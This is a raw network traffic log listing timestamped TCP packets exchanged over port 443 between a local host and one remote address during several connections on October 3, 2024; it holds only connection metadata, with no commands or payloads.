Oct 3, 2024 18:19:37.565052986 CEST	443	49804	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:37.565129995 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:37.565385103 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:37.565397024 CEST	443	49803	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:37.565679073 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:37.565696001 CEST	443	49804	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.024736881 CEST	443	49803	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.025146008 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.025176048 CEST	443	49803	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.028178930 CEST	443	49803	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.028251886 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.028537989 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.028557062 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.028609991 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.028615952 CEST	443	49803	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.028661013 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.029088020 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.029146910 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.029228926 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.029417038 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.029438019 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.329189062 CEST	443	49804	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.329615116 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.329659939 CEST	443	49804	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.331063986 CEST	443	49804	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.331156015 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.331542015 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.331574917 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.331613064 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.331619978 CEST	443	49804	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.331681013 CEST	49804	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.331957102 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.332014084 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.332103014 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.332344055 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.332359076 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.505680084 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.506102085 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.506175995 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.509860992 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.509995937 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.510345936 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.510437012 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.510526896 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.510545015 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.564008951 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.649034023 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649179935 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649267912 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.649276972 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649319887 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649377108 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.649414062 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649569988 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649626017 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.649657011 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649770021 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.649835110 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.649851084 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.654176950 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.654258966 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.654273033 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.654437065 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.654499054 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.654512882 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.708026886 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.736046076 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736227036 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736320972 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.736324072 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736371994 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736430883 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.736468077 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736705065 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736758947 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.736777067 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736876011 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.736948967 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.736962080 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.737601042 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.737679005 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.737690926 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.737886906 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.737952948 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.737982988 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738086939 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738142014 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.738154888 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738276958 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738341093 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.738353014 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738461018 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738514900 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.738527060 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738629103 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.738682032 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.738693953 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.739069939 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.739134073 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.739146948 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.788045883 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.788068056 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.802869081 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.803288937 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.803318977 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.806843996 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.806987047 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.807440042 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.807589054 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.807600021 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.807626009 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.824569941 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.824683905 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.824685097 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.824729919 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.824788094 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.824826002 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825030088 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825056076 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825092077 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.825109005 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825135946 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.825177908 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825237036 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.825251102 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825304031 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.825318098 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825381041 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825443983 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.825457096 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825508118 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.825520039 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825676918 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825732946 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.825758934 CEST	443	49805	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.825783014 CEST	49805	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.828922987 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.828986883 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.829087973 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.829341888 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.829364061 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.852013111 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.852029085 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.900027037 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.944982052 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.945086002 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.945163012 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.945183992 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.945252895 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.945316076 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.945333958 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.945465088 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.945527077 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.946378946 CEST	49806	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.946425915 CEST	443	49806	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.950714111 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.950798035 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:38.951109886 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.951432943 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:38.951491117 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.304495096 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.307588100 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.307646036 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.308362961 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.311005116 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.311094999 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.311275959 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.351418972 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.420270920 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.420629025 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.420660973 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.421111107 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.423111916 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.423192024 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.423249960 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.457227945 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457341909 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457421064 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.457446098 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457551003 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457602024 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.457613945 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457720041 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457768917 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.457778931 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457936049 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.457989931 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.457999945 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.458106041 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.458157063 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.458164930 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.463404894 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.507093906 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.507112026 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.546520948 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.546608925 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.546641111 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.546767950 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.546845913 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.546883106 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.546896935 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.546951056 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.546998024 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547136068 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547192097 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.547203064 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547367096 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547426939 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.547436953 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547611952 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547663927 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.547674894 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547831059 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.547894001 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.547903061 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.548603058 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.548682928 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.548717022 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.548906088 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.548955917 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.548968077 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.549099922 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.549165010 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.549175024 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.572984934 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.573111057 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.573205948 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.573292017 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.573297977 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.573360920 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.573457003 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.573518991 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.573717117 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.574115992 CEST	49808	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.574182034 CEST	443	49808	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.602977991 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.635030031 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635102034 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635138035 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635174036 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635226011 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635263920 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.635263920 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.635279894 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635328054 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.635333061 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635377884 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.635418892 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.635426044 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.636154890 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.636197090 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.636224031 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.636231899 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.636259079 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.636291027 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.636296034 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.637063980 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.637109041 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.637129068 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.637135983 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.637149096 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.637224913 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.637279987 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.637286901 CEST	443	49807	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:39.637310028 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.637310028 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:39.637331963 CEST	49807	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.117944956 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.118072033 CEST	443	49809	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:41.118217945 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.118599892 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.118638992 CEST	443	49809	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:41.613465071 CEST	443	49809	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:41.613909960 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.613943100 CEST	443	49809	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:41.617521048 CEST	443	49809	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:41.617640018 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618073940 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618097067 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618155003 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618309975 CEST	443	49809	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:41.618371010 CEST	49809	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618520021 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618560076 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:41.618649960 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618869066 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:41.618885994 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.090560913 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.095911026 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.095980883 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.097367048 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.098494053 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.098674059 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.098730087 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.142430067 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.142496109 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233573914 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233635902 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233719110 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.233738899 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233784914 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233839989 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233855963 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.233872890 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233916044 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.233927965 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.233941078 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.234006882 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.234041929 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.234244108 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.234294891 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.234309912 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.234329939 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.234405994 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.235174894 CEST	49810	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.235207081 CEST	443	49810	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.238576889 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.238626003 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.238738060 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.238993883 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.239006996 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.717303991 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.717643023 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.717704058 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.718147993 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.718540907 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.718614101 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.718698978 CEST	49811	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:42.763406038 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850368023 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850413084 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850440979 CEST	443	49811	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:42.850466967 CEST	443	49811	104.21.57.136	192.168.2.16
